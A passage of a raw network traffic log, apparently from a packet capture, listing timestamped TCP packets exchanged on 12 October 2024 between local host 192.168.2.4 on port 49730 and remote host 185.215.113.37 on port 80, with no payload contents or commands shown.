Oct 12, 2024 13:17:28.952167988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.952200890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.952210903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.952235937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.952251911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.952285051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.952290058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.952325106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.952338934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.952369928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.952377081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.952424049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.952428102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.952462912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.952472925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.952508926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.952513933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.952548027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.952560902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.952580929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.952594042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.952616930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.952630043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.952651978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.952663898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.952693939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.952697992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.952725887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.952738047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.952760935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.952773094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.952795029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.952806950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.952830076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.952841997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.952862024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.952874899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.952897072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.952908039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.952930927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.952943087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.952965021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.952976942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.952999115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.953011990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.953033924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.953044891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.953067064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.953078985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.953102112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.953109026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.953134060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.953144073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.953170061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.953181028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.953203917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.953214884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.953238964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.953250885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.953277111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.953285933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.953322887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.981978893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.982036114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.982052088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.982095003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.982110023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.982144117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.982153893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.982180119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.982186079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.982217073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.982229948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.982263088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.982270002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.982301950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.982316971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.982348919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.982355118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.982403040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.982405901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.982440948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.982451916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.982485056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.982491016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.982538939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.982544899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.982582092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.982593060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.982626915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.982634068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.982683897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.982688904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.982726097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.982737064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.982755899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.982774019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.982800007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.982805967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.982858896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.982870102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.982917070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.982920885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.982954979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.982964993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.982986927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.983001947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.983021021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.983032942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.983071089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.983073950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.983107090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.983120918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.983136892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.983148098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.983170033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.983186007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.983205080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.983211994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.983249903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.983254910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.983297110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.983309984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.983342886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.983357906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.983377934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.983395100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.983428001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.983453989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.983488083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.983500957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.983551025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.983557940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.983596087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.983607054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.983628988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.983634949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.983665943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.983676910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.983700991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.983712912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.983736038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.983750105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.983769894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.983783960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.983805895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.983814001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.983840942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.983854055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.983874083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.983886957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.983907938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.983921051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.983942032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.983953953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.983975887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.983989954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984009981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984021902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984045029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984057903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984081030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984088898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984110117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984129906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984141111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984153986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984175920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984184980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984210968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984222889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984245062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984255075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984280109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984292984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984316111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984328032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984349966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984368086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984386921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984401941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984420061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984435081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984455109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984468937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984486103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984498978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984520912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984534025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984555960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984566927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984590054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984599113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984625101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984637022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984662056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984673977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984698057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984707117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984733105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984741926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984766960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984776974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984800100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984803915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984834909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984842062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984867096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984878063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984901905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984909058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984935045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984944105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.984968901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.984976053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.985002995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.985032082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.985035896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.985049963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.985069990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.985102892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.985119104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.985135078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.985146046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.985169888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.985183001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.985204935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.985217094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.985238075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.985246897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.985277891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.985289097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.985316992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.985325098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.985352993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.985369921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.985393047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.046612978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.046772003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.047080040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.047127008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.047139883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.047163010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.047173023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.047199011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.047214031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.047235012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.047247887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.047269106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.047283888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.047303915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.047316074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.047337055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.047353029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.047367096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.047383070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.047411919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.047430992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.047465086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.047487020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.047497988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.047523975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.047530890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.047557116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.047564030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.047596931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.047599077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.047604084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.047627926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.047653913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.047663927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.047673941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.047698021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.047705889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.047733068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.047739029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.047765970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.047774076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.047802925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.047806025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.047841072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.047842026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.047869921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.047880888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.047904968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.047911882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.047940969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.047950029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.047975063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.047983885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.048010111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.048017025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.048046112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.048075914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.048079967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.048096895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.048113108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.048146009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.048157930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.048177958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.048194885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.048212051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.048219919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.048245907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.048254967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.048280001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.048290968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.048314095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.048324108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.048348904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.048357010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.048387051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.048391104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.048429966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.076715946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.076782942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.076783895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.076818943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.076829910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.076864004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.076872110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.076906919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.076919079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.076941013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.076953888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.076977015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.076987982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.077011108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.077023029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.077054977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.077063084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.077095985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.077110052 CEST	49730	80	192.168.2.4	185.215.113.37
